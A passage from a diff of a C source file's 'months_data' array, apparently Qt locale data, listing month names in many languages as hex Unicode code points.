0x72, 0x3b, 0x38, 0x3b, 0x39, 0x3b, 0x31, 0x30, 0x3b, 0x31, 0x31, 0x3b, 0x31, +0x32, 0x3b, 0xe7, 0x69, 0x6c, 0x65, 0x3b, 0x73, 0x69, 0x62, 0x61, 0x74, 0x3b, 0x61, 0x64, 0x61, 0x72, 0x3b, 0x6e, 0xee, +0x73, 0x61, 0x6e, 0x3b, 0x67, 0x75, 0x6c, 0x61, 0x6e, 0x3b, 0x68, 0x65, 0x7a, 0xee, 0x72, 0x61, 0x6e, 0x3b, 0x37, 0x3b, +0x38, 0x3b, 0x39, 0x3b, 0x31, 0x30, 0x3b, 0x31, 0x31, 0x3b, 0x31, 0x32, 0x3b, 0xe7, 0x3b, 0x73, 0x3b, 0x61, 0x3b, 0x6e, +0x3b, 0x67, 0x3b, 0x68, 0x3b, 0x37, 0x3b, 0x38, 0x3b, 0x39, 0x3b, 0x31, 0x30, 0x3b, 0x31, 0x31, 0x3b, 0x31, 0x32, 0x3b, +0xea1, 0x2e, 0xe81, 0x2e, 0x3b, 0xe81, 0x2e, 0xe9e, 0x2e, 0x3b, 0xea1, 0xeb5, 0x2e, 0xe99, 0x2e, 0x3b, 0xea1, 0x2e, 0xeaa, 0x2e, +0x2e, 0x3b, 0xe9e, 0x2e, 0xe9e, 0x2e, 0x3b, 0xea1, 0xeb4, 0x2e, 0xe96, 0x2e, 0x3b, 0xe81, 0x2e, 0xea5, 0x2e, 0x3b, 0xeaa, 0x2e, +0xeab, 0x2e, 0x3b, 0xe81, 0x2e, 0xe8d, 0x2e, 0x3b, 0xe95, 0x2e, 0xea5, 0x2e, 0x3b, 0xe9e, 0x2e, 0xe88, 0x2e, 0x3b, 0xe97, 0x2e, +0xea7, 0x2e, 0x3b, 0xea1, 0xeb1, 0xe87, 0xe81, 0xead, 0xe99, 0x3b, 0xe81, 0xeb8, 0xea1, 0xe9e, 0xeb2, 0x3b, 0xea1, 0xeb5, 0xe99, 0xeb2, +0x3b, 0xec0, 0xea1, 0xeaa, 0xeb2, 0x3b, 0xe9e, 0xeb6, 0xe94, 0xeaa, 0xeb0, 0xe9e, 0xeb2, 0x3b, 0xea1, 0xeb4, 0xe96, 0xeb8, 0xe99, 0xeb2, +0x3b, 0xe81, 0xecd, 0xea5, 0xeb0, 0xe81, 0xebb, 0xe94, 0x3b, 0xeaa, 0xeb4, 0xe87, 0xeab, 0xeb2, 0x3b, 0xe81, 0xeb1, 0xe99, 0xe8d, 0xeb2, +0x3b, 0xe95, 0xeb8, 0xea5, 0xeb2, 0x3b, 0xe9e, 0xeb0, 0xe88, 0xeb4, 0xe81, 0x3b, 0xe97, 0xeb1, 0xe99, 0xea7, 0xeb2, 0x3b, 0x6a, 0x61, +0x6e, 0x76, 0x2e, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x2e, 0x3b, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x3b, 0x61, 0x70, 0x72, 0x2e, +0x3b, 0x6d, 0x61, 0x69, 0x6a, 0x73, 0x3b, 0x6a, 0x16b, 0x6e, 0x2e, 0x3b, 0x6a, 0x16b, 0x6c, 0x2e, 0x3b, 0x61, 0x75, 0x67, +0x2e, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x2e, 0x3b, 0x6f, 0x6b, 0x74, 0x2e, 0x3b, 0x6e, 0x6f, 0x76, 0x2e, 0x3b, 0x64, 0x65, +0x63, 0x2e, 0x3b, 0x6a, 0x61, 0x6e, 0x76, 0x101, 0x72, 0x69, 0x73, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x75, 0x101, 0x72, 0x69, +0x73, 0x3b, 0x6d, 0x61, 0x72, 0x74, 0x73, 0x3b, 0x61, 0x70, 0x72, 0x12b, 0x6c, 0x69, 0x73, 0x3b, 0x6d, 0x61, 0x69, 0x6a, +0x73, 0x3b, 0x6a, 0x16b, 0x6e, 0x69, 0x6a, 0x73, 0x3b, 0x6a, 0x16b, 0x6c, 0x69, 0x6a, 0x73, 0x3b, 0x61, 0x75, 0x67, 0x75, +0x73, 0x74, 0x73, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x72, 0x69, 0x73, 0x3b, 0x6f, 0x6b, 0x74, 0x6f, 0x62, +0x72, 0x69, 0x73, 0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x72, 0x69, 0x73, 0x3b, 0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, +0x72, 0x69, 0x73, 0x3b, 0x73, 0x31, 0x3b, 0x73, 0x32, 0x3b, 0x73, 0x33, 0x3b, 0x73, 0x34, 0x3b, 0x73, 0x35, 0x3b, 0x73, +0x36, 0x3b, 0x73, 0x37, 0x3b, 0x73, 0x38, 0x3b, 0x73, 0x39, 0x3b, 0x73, 0x31, 0x30, 0x3b, 0x73, 0x31, 0x31, 0x3b, 0x73, +0x31, 0x32, 0x3b, 0x73, 0xe1, 0x6e, 0x7a, 0xe1, 0x20, 0x79, 0x61, 0x20, 0x79, 0x61, 0x6d, 0x62, 0x6f, 0x3b, 0x73, 0xe1, +0x6e, 0x7a, 0xe1, 0x20, 0x79, 0x61, 0x20, 0x6d, 0xed, 0x62, 0x61, 0x6c, 0xe9, 0x3b, 0x73, 0xe1, 0x6e, 0x7a, 0xe1, 0x20, +0x79, 0x61, 0x20, 0x6d, 0xed, 0x73, 0xe1, 0x74, 0x6f, 0x3b, 0x73, 0xe1, 0x6e, 0x7a, 0xe1, 0x20, 0x79, 0x61, 0x20, 0x6d, +0xed, 0x6e, 0x65, 0x69, 0x3b, 0x73, 0xe1, 0x6e, 0x7a, 0xe1, 0x20, 0x79, 0x61, 0x20, 0x6d, 0xed, 0x74, 0xe1, 0x6e, 0x6f, +0x3b, 0x73, 0xe1, 0x6e, 0x7a, 0xe1, 0x20, 0x79, 0x61, 0x20, 0x6d, 0x6f, 0x74, 0xf3, 0x62, 0xe1, 0x3b, 0x73, 0xe1, 0x6e, +0x7a, 0xe1, 0x20, 0x79, 0x61, 0x20, 0x6e, 0x73, 0x61, 0x6d, 0x62, 0x6f, 0x3b, 0x73, 0xe1, 0x6e, 0x7a, 0xe1, 0x20, 0x79, +0x61, 0x20, 0x6d, 0x77, 0x61, 0x6d, 0x62, 0x65, 0x3b, 0x73, 0xe1, 0x6e, 0x7a, 0xe1, 0x20, 0x79, 0x61, 0x20, 0x6c, 0x69, +0x62, 0x77, 0x61, 0x3b, 0x73, 0xe1, 0x6e, 0x7a, 0xe1, 0x20, 0x79, 0x61, 0x20, 0x7a, 0xf3, 0x6d, 0x69, 0x3b, 0x73, 0xe1, +0x6e, 0x7a, 0xe1, 0x20, 0x79, 0x61, 0x20, 0x7a, 0xf3, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x6d, 0x254, 0x30c, 0x6b, 0x254, +0x301, 0x3b, 0x73, 0xe1, 0x6e, 0x7a, 0xe1, 0x20, 0x79, 0x61, 0x20, 0x7a, 0xf3, 0x6d, 0x69, 0x20, 0x6e, 0x61, 0x20, 0x6d, +0xed, 0x62, 0x61, 0x6c, 0xe9, 0x3b, 0x53, 0x61, 0x75, 0x3b, 0x56, 0x61, 0x73, 0x3b, 0x4b, 0x6f, 0x76, 0x3b, 0x42, 0x61, +0x6c, 0x3b, 0x47, 0x65, 0x67, 0x3b, 0x42, 0x69, 0x72, 0x3b, 0x4c, 0x69, 0x65, 0x3b, 0x52, 0x67, 0x70, 0x3b, 0x52, 0x67, +0x73, 0x3b, 0x53, 0x70, 0x6c, 0x3b, 0x4c, 0x61, 0x70, 0x3b, 0x47, 0x72, 0x64, 0x3b, 0x73, 0x61, 0x75, 0x73, 0x69, 0x73, +0x3b, 0x76, 0x61, 0x73, 0x61, 0x72, 0x69, 0x73, 0x3b, 0x6b, 0x6f, 0x76, 0x61, 0x73, 0x3b, 0x62, 0x61, 0x6c, 0x61, 0x6e, +0x64, 0x69, 0x73, 0x3b, 0x67, 0x65, 0x67, 0x75, 0x17e, 0x117, 0x3b, 0x62, 0x69, 0x72, 0x17e, 0x65, 0x6c, 0x69, 0x73, 0x3b, +0x6c, 0x69, 0x65, 0x70, 0x61, 0x3b, 0x72, 0x75, 0x67, 0x70, 0x6a, 0x16b, 0x74, 0x69, 0x73, 0x3b, 0x72, 0x75, 0x67, 0x73, +0x117, 0x6a, 0x69, 0x73, 0x3b, 0x73, 0x70, 0x61, 0x6c, 0x69, 0x73, 0x3b, 0x6c, 0x61, 0x70, 0x6b, 0x72, 0x69, 0x74, 0x69, +0x73, 0x3b, 0x67, 0x72, 0x75, 0x6f, 0x64, 0x69, 0x73, 0x3b, 0x53, 0x3b, 0x56, 0x3b, 0x4b, 0x3b, 0x42, 0x3b, 0x47, 0x3b, +0x42, 0x3b, 0x4c, 0x3b, 0x52, 0x3b, 0x52, 0x3b, 0x53, 0x3b, 0x4c, 0x3b, 0x47, 0x3b, 0x458, 0x430, 0x43d, 0x2e, 0x3b, 0x444, +0x435, 0x432, 0x2e, 0x3b, 0x43c, 0x430, 0x440, 0x2e, 0x3b, 0x430, 0x43f, 0x440, 0x2e, 0x3b, 0x43c, 0x430, 0x458, 0x3b, 0x458, 0x443, +0x43d, 0x2e, 0x3b, 0x458, 0x443, 0x43b, 0x2e, 0x3b, 0x430, 0x432, 0x433, 0x2e, 0x3b, 0x441, 0x435, 0x43f, 0x442, 0x2e, 0x3b, 0x43e, +0x43a, 0x442, 0x2e, 0x3b, 0x43d, 0x43e, 0x435, 0x43c, 0x2e, 0x3b, 0x434, 0x435, 0x43a, 0x435, 0x43c, 0x2e, 0x3b, 0x458, 0x430, 0x43d, +0x443, 0x430, 0x440, 0x438, 0x3b, 0x444, 0x435, 0x432, 0x440, 0x443, 0x430, 0x440, 0x438, 0x3b, 0x43c, 0x430, 0x440, 0x442, 0x3b, 0x430, +0x43f, 0x440, 0x438, 0x43b, 0x3b, 0x43c, 0x430, 0x458, 0x3b, 0x458, 0x443, 0x43d, 0x438, 0x3b, 0x458, 0x443, 0x43b, 0x438, 0x3b, 0x430, +0x432, 0x433, 0x443, 0x441, 0x442, 0x3b, 0x441, 0x435, 0x43f, 0x442, 0x435, 0x43c, 0x432, 0x440, 0x438, 0x3b, 0x43e, 0x43a, 0x442, 0x43e, +0x43c, 0x432, 0x440, 0x438, 0x3b, 0x43d, 0x43e, 0x435, 0x43c, 0x432, 0x440, 0x438, 0x3b, 0x434, 0x435, 0x43a, 0x435, 0x43c, 0x432, 0x440, +0x438, 0x3b, 0x458, 0x3b, 0x444, 0x3b, 0x43c, 0x3b, 0x430, 0x3b, 0x43c, 0x3b, 0x458, 0x3b, 0x458, 0x3b, 0x430, 0x3b, 0x441, 0x3b, +0x43e, 0x3b, 0x43d, 0x3b, 0x434, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x70, +0x72, 0x3b, 0x4d, 0x65, 0x79, 0x3b, 0x4a, 0x6f, 0x6e, 0x3b, 0x4a, 0x6f, 0x6c, 0x3b, 0x41, 0x6f, 0x67, 0x3b, 0x53, 0x65, +0x70, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x65, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x6f, 0x61, 0x72, +0x79, 0x3b, 0x46, 0x65, 0x62, 0x72, 0x6f, 0x61, 0x72, 0x79, 0x3b, 0x4d, 0x61, 0x72, 0x74, 0x73, 0x61, 0x3b, 0x41, 0x70, +0x72, 0x69, 0x6c, 0x79, 0x3b, 0x4d, 0x65, 0x79, 0x3b, 0x4a, 0x6f, 0x6e, 0x61, 0x3b, 0x4a, 0x6f, 0x6c, 0x61, 0x79, 0x3b, +0x41, 0x6f, 0x67, 0x6f, 0x73, 0x69, 0x74, 0x72, 0x61, 0x3b, 0x53, 0x65, 0x70, 0x74, 0x61, 0x6d, 0x62, 0x72, 0x61, 0x3b, +0x4f, 0x6b, 0x74, 0x6f, 0x62, 0x72, 0x61, 0x3b, 0x4e, 0x6f, 0x76, 0x61, 0x6d, 0x62, 0x72, 0x61, 0x3b, 0x44, 0x65, 0x73, +0x61, 0x6d, 0x62, 0x72, 0x61, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, 0x65, 0x62, 0x3b, 0x4d, 0x61, 0x63, 0x3b, 0x41, 0x70, +0x72, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x3b, 0x4f, 0x67, 0x6f, 0x73, 0x3b, 0x53, +0x65, 0x70, 0x3b, 0x4f, 0x6b, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, 0x69, 0x73, 0x3b, 0x4a, 0x61, 0x6e, 0x75, 0x61, +0x72, 0x69, 0x3b, 0x46, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x69, 0x3b, 0x4d, 0x61, 0x63, 0x3b, 0x41, 0x70, 0x72, 0x69, +0x6c, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x4a, 0x75, 0x6e, 0x3b, 0x4a, 0x75, 0x6c, 0x61, 0x69, 0x3b, 0x4f, 0x67, 0x6f, 0x73, +0x3b, 0x53, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x4f, 0x6b, 0x74, 0x6f, 0x62, 0x65, 0x72, 0x3b, 0x4e, +0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x44, 0x69, 0x73, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0xd1c, 0xd28, 0xd41, +0x3b, 0xd2b, 0xd46, 0xd2c, 0xd4d, 0xd30, 0xd41, 0x3b, 0xd2e, 0xd3e, 0xd30, 0xd4d, 0x200d, 0x3b, 0xd0f, 0xd2a, 0xd4d, 0xd30, 0xd3f, 0x3b, +0xd2e, 0xd47, 0xd2f, 0xd4d, 0x3b, 0xd1c, 0xd42, 0xd23, 0xd4d, 0x200d, 0x3b, 0xd1c, 0xd42, 0xd32, 0xd48, 0x3b, 0xd13, 0xd17, 0x3b, 0xd38, +0xd46, 0xd2a, 0xd4d, 0xd31, 0xd4d, 0xd31, 0xd02, 0x3b, 0xd12, 0xd15, 0xd4d, 0xd1f, 0xd4b, 0x3b, 0xd28, 0xd35, 0xd02, 0x3b, 0xd21, 0xd3f, +0xd38, 0xd02, 0x3b, 0xd1c, 0xd28, 0xd41, 0xd35, 0xd30, 0xd3f, 0x3b, 0xd2b, 0xd46, 0xd2c, 0xd4d, 0xd30, 0xd41, 0xd35, 0xd30, 0xd3f, 0x3b, +0xd2e, 0xd3e, 0xd30, 0xd4d, 0x200d, 0xd1a, 0xd4d, 0xd1a, 0xd4d, 0x3b, 0xd0f, 0xd2a, 0xd4d, 0xd30, 0xd3f, 0xd32, 0xd4d, 0x200d, 0x3b, 0xd2e, +0xd47, 0xd2f, 0xd4d, 0x3b, 0xd1c, 0xd42, 0xd23, 0xd4d, 0x200d, 0x3b, 0xd1c, 0xd42, 0xd32, 0xd48, 0x3b, 0xd06, 0xd17, 0xd38, 0xd4d, 0xd31, +0xd4d, 0xd31, 0xd4d, 0x3b, 0xd38, 0xd46, 0xd2a, 0xd4d, 0xd31, 0xd4d, 0xd31, 0xd02, 0xd2c, 0xd30, 0xd4d, 0x200d, 0x3b, 0xd12, 0xd15, 0xd4d, +0xd1f, 0xd4b, 0xd2c, 0xd30, 0xd4d, 0x200d, 0x3b, 0xd28, 0xd35, 0xd02, 0xd2c, 0xd30, 0xd4d, 0x200d, 0x3b, 0xd21, 0xd3f, 0xd38, 0xd02, 0xd2c, +0xd30, 0xd4d, 0x200d, 0x3b, 0xd1c, 0x3b, 0xd2b, 0xd46, 0x3b, 0xd2e, 0xd3e, 0x3b, 0xd0f, 0x3b, 0xd2e, 0xd47, 0x3b, 0xd1c, 0xd42, 0x3b, +0xd1c, 0xd42, 0x3b, 0xd13, 0x3b, 0xd38, 0xd46, 0x3b, 0xd12, 0x3b, 0xd28, 0x3b, 0xd21, 0xd3f, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x46, +0x72, 0x61, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x70, 0x72, 0x3b, 0x4d, 0x65, 0x6a, 0x3b, 0x120, 0x75, 0x6e, 0x3b, 0x4c, +0x75, 0x6c, 0x3b, 0x41, 0x77, 0x77, 0x3b, 0x53, 0x65, 0x74, 0x3b, 0x4f, 0x74, 0x74, 0x3b, 0x4e, 0x6f, 0x76, 0x3b, 0x44, +0x69, 0x10b, 0x3b, 0x4a, 0x61, 0x6e, 0x6e, 0x61, 0x72, 0x3b, 0x46, 0x72, 0x61, 0x72, 0x3b, 0x4d, 0x61, 0x72, 0x7a, 0x75, +0x3b, 0x41, 0x70, 0x72, 0x69, 0x6c, 0x3b, 0x4d, 0x65, 0x6a, 0x6a, 0x75, 0x3b, 0x120, 0x75, 0x6e, 0x6a, 0x75, 0x3b, 0x4c, +0x75, 0x6c, 0x6a, 0x75, 0x3b, 0x41, 0x77, 0x77, 0x69, 0x73, 0x73, 0x75, 0x3b, 0x53, 0x65, 0x74, 0x74, 0x65, 0x6d, 0x62, +0x72, 0x75, 0x3b, 0x4f, 0x74, 0x74, 0x75, 0x62, 0x72, 0x75, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x72, 0x75, 0x3b, +0x44, 0x69, 0x10b, 0x65, 0x6d, 0x62, 0x72, 0x75, 0x3b, 0x4a, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x120, +0x3b, 0x4c, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x48, 0x101, 0x6e, 0x75, 0x65, 0x72, 0x65, +0x3b, 0x50, 0x113, 0x70, 0x75, 0x65, 0x72, 0x65, 0x3b, 0x4d, 0x101, 0x65, 0x68, 0x65, 0x3b, 0x100, 0x70, 0x65, 0x72, 0x69, +0x72, 0x61, 0x3b, 0x4d, 0x65, 0x69, 0x3b, 0x48, 0x75, 0x6e, 0x65, 0x3b, 0x48, 0x16b, 0x72, 0x61, 0x65, 0x3b, 0x100, 0x6b, +0x75, 0x68, 0x61, 0x74, 0x61, 0x3b, 0x48, 0x65, 0x70, 0x65, 0x74, 0x65, 0x6d, 0x61, 0x3b, 0x4f, 0x6b, 0x65, 0x74, 0x6f, +0x70, 0x61, 0x3b, 0x4e, 0x6f, 0x65, 0x6d, 0x61, 0x3b, 0x54, 0x12b, 0x68, 0x65, 0x6d, 0x61, 0x3b, 0x91c, 0x93e, 0x928, 0x947, +0x935, 0x93e, 0x930, 0x940, 0x3b, 0x92b, 0x947, 0x92c, 0x94d, 0x930, 0x941, 0x935, 0x93e, 0x930, 0x940, 0x3b, 0x92e, 0x93e, 0x930, 0x94d, +0x91a, 0x3b, 0x90f, 0x92a, 0x94d, 0x930, 0x93f, 0x932, 0x3b, 0x92e, 0x947, 0x3b, 0x91c, 0x942, 0x928, 0x3b, 0x91c, 0x941, 0x932, 0x948, +0x3b, 0x911, 0x917, 0x938, 0x94d, 0x91f, 0x3b, 0x938, 0x92a, 0x94d, 0x91f, 0x947, 0x902, 0x92c, 0x930, 0x3b, 0x911, 0x915, 0x94d, 0x91f, +0x94b, 0x92c, 0x930, 0x3b, 0x928, 0x94b, 0x935, 0x94d, 0x939, 0x947, 0x902, 0x92c, 0x930, 0x3b, 0x921, 0x93f, 0x938, 0x947, 0x902, 0x92c, +0x930, 0x3b, 0x91c, 0x93e, 0x3b, 0x92b, 0x947, 0x3b, 0x92e, 0x93e, 0x3b, 0x90f, 0x3b, 0x92e, 0x947, 0x3b, 0x91c, 0x942, 0x3b, 0x91c, +0x941, 0x3b, 0x911, 0x3b, 0x938, 0x3b, 0x911, 0x3b, 0x928, 0x94b, 0x3b, 0x921, 0x93f, 0x3b, 0x445, 0x443, 0x43b, 0x3b, 0x4af, 0x445, +0x44d, 0x3b, 0x431, 0x430, 0x440, 0x3b, 0x442, 0x443, 0x443, 0x3b, 0x43b, 0x443, 0x443, 0x3b, 0x43c, 0x43e, 0x433, 0x3b, 0x43c, 0x43e, +0x440, 0x3b, 0x445, 0x43e, 0x43d, 0x3b, 0x431, 0x438, 0x447, 0x3b, 0x442, 0x430, 0x445, 0x3b, 0x43d, 0x43e, 0x445, 0x3b, 0x433, 0x430, +0x445, 0x3b, 0x425, 0x443, 0x43b, 0x433, 0x430, 0x43d, 0x430, 0x3b, 0x4ae, 0x445, 0x44d, 0x440, 0x3b, 0x411, 0x430, 0x440, 0x3b, 0x422, +0x443, 0x443, 0x43b, 0x430, 0x439, 0x3b, 0x41b, 0x443, 0x443, 0x3b, 0x41c, 0x43e, 0x433, 0x43e, 0x439, 0x3b, 0x41c, 0x43e, 0x440, 0x44c, +0x3b, 0x425, 0x43e, 0x43d, 0x44c, 0x3b, 0x411, 0x438, 0x447, 0x3b, 0x422, 0x430, 0x445, 0x438, 0x430, 0x3b, 0x41d, 0x43e, 0x445, 0x43e, +0x439, 0x3b, 0x413, 0x430, 0x445, 0x430, 0x439, 0x3b, 0x91c, 0x928, 0x3b, 0x92b, 0x947, 0x92c, 0x3b, 0x92e, 0x93e, 0x930, 0x94d, 0x91a, +0x3b, 0x905, 0x92a, 0x94d, 0x930, 0x93f, 0x3b, 0x92e, 0x947, 0x3b, 0x91c, 0x941, 0x928, 0x3b, 0x91c, 0x941, 0x932, 0x93e, 0x3b, 0x905, +0x917, 0x3b, 0x938, 0x947, 0x92a, 0x94d, 0x91f, 0x3b, 0x905, 0x915, 0x94d, 0x91f, 0x94b, 0x3b, 0x928, 0x94b, 0x92d, 0x947, 0x3b, 0x921, +0x93f, 0x938, 0x947, 0x3b, 0x91c, 0x928, 0x935, 0x930, 0x940, 0x3b, 0x92b, 0x930, 0x935, 0x930, 0x940, 0x3b, 0x92e, 0x93e, 0x930, 0x94d, +0x91a, 0x3b, 0x905, 0x92a, 0x94d, 0x930, 0x947, 0x932, 0x3b, 0x92e, 0x908, 0x3b, 0x91c, 0x941, 0x928, 0x3b, 0x91c, 0x941, 0x932, 0x93e, +0x908, 0x3b, 0x905, 0x917, 0x938, 0x94d, 0x924, 0x3b, 0x938, 0x947, 0x92a, 0x94d, 0x91f, 0x947, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x905, +0x915, 0x94d, 0x91f, 0x94b, 0x92c, 0x930, 0x3b, 0x928, 0x94b, 0x92d, 0x947, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x926, 0x93f, 0x938, 0x92e, +0x94d, 0x92c, 0x930, 0x3b, 0x967, 0x3b, 0x968, 0x3b, 0x969, 0x3b, 0x96a, 0x3b, 0x96b, 0x3b, 0x96c, 0x3b, 0x96d, 0x3b, 0x96e, 0x3b, +0x96f, 0x3b, 0x967, 0x966, 0x3b, 0x967, 0x967, 0x3b, 0x967, 0x968, 0x3b, 0x91c, 0x928, 0x935, 0x930, 0x940, 0x3b, 0x92b, 0x947, 0x92c, 0x94d, 0x930, 0x941, 0x905, 0x930, 0x940, 0x3b, 0x92e, 0x93e, 0x930, 0x94d, 0x91a, 0x3b, 0x905, 0x92a, 0x94d, 0x930, 0x93f, 0x932, 0x3b, 0x92e, 0x947, 0x3b, 0x91c, 0x941, 0x928, 0x3b, 0x91c, 0x941, 0x932, 0x93e, 0x908, 0x3b, 0x905, 0x917, 0x938, 0x94d, 0x924, 0x3b, 0x938, 0x947, 0x92a, 0x94d, 0x91f, 0x947, 0x92e, 0x94d, 0x92c, 0x930, 0x3b, 0x905, 0x915, 0x94d, 0x91f, 0x94b, 0x92c, 0x930, 0x3b, 0x928, 0x94b, @@ -1013,386 +1222,460 @@ static const ushort months_data[] = { 0x72, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x3b, 0x6d, 0x61, 0x72, 0x73, 0x3b, 0x61, 0x70, 0x72, 0x69, 0x6c, 0x3b, 0x6d, 0x61, 0x69, 0x3b, 0x6a, 0x75, 0x6e, 0x69, 0x3b, 0x6a, 0x75, 0x6c, 0x69, 0x3b, 0x61, 0x75, 0x67, 0x75, 0x73, 0x74, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x6f, 0x6b, 0x74, 0x6f, 0x62, 0x65, 0x72, 0x3b, -0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x64, 0x65, 0x73, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0xb1c, 0xb3e, -0xb28, 0xb41, 0xb06, 0xb30, 0xb40, 0x3b, 0xb2b, 0xb47, 0xb2c, 0xb4d, 0xb30, 0xb41, 0xb5f, 0xb3e, 0xb30, 0xb40, 0x3b, 0xb2e, 0xb3e, 0xb30, -0xb4d, 0xb1a, 0xb4d, 0xb1a, 0x3b, 0xb05, 0xb2a, 0xb4d, 0xb30, 0xb47, 0xb32, 0x3b, 0xb2e, 0xb47, 0x3b, 0xb1c, 0xb41, 0xb28, 0x3b, 0xb1c, -0xb41, 0xb32, 0xb3e, 0xb07, 0x3b, 0xb05, 0xb17, 0xb37, 0xb4d, 0xb1f, 0x3b, 0xb38, 0xb47, 0xb2a, 0xb4d, 0xb1f, 0xb47, 0xb2e, 0xb4d, 0xb2c, -0xb30, 0x3b, 0xb05, 0xb15, 0xb4d, 0xb1f, 0xb4b, 0xb2c, 0xb30, 0x3b, 0xb28, 0xb2d, 0xb47, 0xb2e, 0xb4d, 0xb2c, 0xb30, 0x3b, 0xb21, 0xb3f, -0xb38, 0xb47, 0xb2e, 0xb4d, 0xb2c, 0xb30, 0x3b, 0x31, 0x3b, 0x32, 0x3b, 0x33, 0x3b, 0x34, 0x3b, 0x645, 0x640, 0x6cc, 0x3b, 0x62c, -0x648, 0x646, 0x3b, 0x37, 0x3b, 0x38, 0x3b, 0x39, 0x3b, 0x31, 0x30, 0x3b, 0x31, 0x31, 0x3b, 0x31, 0x32, 0x3b, 0x62c, 0x646, -0x648, 0x631, 0x64a, 0x3b, 0x641, 0x628, 0x631, 0x648, 0x631, 0x64a, 0x3b, 0x645, 0x627, 0x631, 0x686, 0x3b, 0x627, 0x67e, 0x631, 0x6cc, -0x644, 0x3b, 0x645, 0x6cc, 0x3b, 0x62c, 0x648, 0x646, 0x3b, 0x62c, 0x648, 0x644, 0x627, 0x6cc, 0x3b, 0x627, 0x6ab, 0x633, 0x62a, 0x3b, -0x633, 0x67e, 0x62a, 0x645, 0x628, 0x631, 0x3b, 0x627, 0x6a9, 0x62a, 0x648, 0x628, 0x631, 0x3b, 0x646, 0x648, 0x645, 0x628, 0x631, 0x3b, -0x62f, 0x633, 0x645, 0x628, 0x631, 0x3b, 0x698, 0x627, 0x646, 0x648, 0x6cc, 0x647, 0x654, 0x3b, 0x641, 0x648, 0x631, 0x6cc, 0x647, 0x654, -0x3b, 0x645, 0x627, 0x631, 0x633, 0x3b, 0x622, 0x648, 0x631, 0x6cc, 0x644, 0x3b, 0x645, 0x647, 0x654, 0x3b, 0x698, 0x648, 0x626, 0x646, -0x3b, 0x698, 0x648, 0x626, 0x6cc, 0x647, 0x654, 0x3b, 0x627, 0x648, 0x62a, 0x3b, 0x633, 0x67e, 0x62a, 0x627, 0x645, 0x628, 0x631, 0x3b, -0x627, 0x6a9, 0x62a, 0x628, 0x631, 0x3b, 0x646, 0x648, 0x627, 0x645, 0x628, 0x631, 0x3b, 0x62f, 0x633, 0x627, 0x645, 0x628, 0x631, 0x3b, -0x62c, 0x646, 0x648, 0x3b, 0x641, 0x648, 0x631, 0x6cc, 0x647, 0x654, 0x3b, 0x645, 0x627, 0x631, 0x633, 0x3b, 0x622, 0x648, 0x631, 0x6cc, -0x644, 0x3b, 0x645, 0x640, 0x6cc, 0x3b, 0x62c, 0x648, 0x646, 0x3b, 0x62c, 0x648, 0x644, 0x3b, 0x627, 0x648, 0x62a, 0x3b, 0x633, 0x67e, -0x62a, 0x627, 0x645, 0x628, 0x631, 0x3b, 0x627, 0x6a9, 0x62a, 0x628, 0x631, 0x3b, 0x646, 0x648, 0x627, 0x645, 0x628, 0x631, 0x3b, 0x62f, -0x633, 0x645, 0x3b, 0x62c, 0x646, 0x648, 0x631, 0x6cc, 0x3b, 0x641, 0x628, 0x631, 0x648, 0x631, 0x6cc, 0x3b, 0x645, 0x627, 0x631, 0x686, -0x3b, 0x627, 0x67e, 0x631, 0x6cc, 0x644, 0x3b, 0x645, 0x6cc, 0x3b, 0x62c, 0x648, 0x646, 0x3b, 0x62c, 0x648, 0x644, 0x627, 0x6cc, 0x3b, -0x627, 0x6af, 0x633, 0x62a, 0x3b, 0x633, 0x67e, 0x62a, 0x645, 0x628, 0x631, 0x3b, 0x627, 0x6a9, 0x62a, 0x648, 0x628, 0x631, 0x3b, 0x646, -0x648, 0x645, 0x628, 0x631, 0x3b, 0x62f, 0x633, 0x645, 0x628, 0x631, 0x3b, 0x73, 0x74, 0x79, 0x3b, 0x6c, 0x75, 0x74, 0x3b, 0x6d, -0x61, 0x72, 0x3b, 0x6b, 0x77, 0x69, 0x3b, 0x6d, 0x61, 0x6a, 0x3b, 0x63, 0x7a, 0x65, 0x3b, 0x6c, 0x69, 0x70, 0x3b, 0x73, -0x69, 0x65, 0x3b, 0x77, 0x72, 0x7a, 0x3b, 0x70, 0x61, 0x17a, 0x3b, 0x6c, 0x69, 0x73, 0x3b, 0x67, 0x72, 0x75, 0x3b, 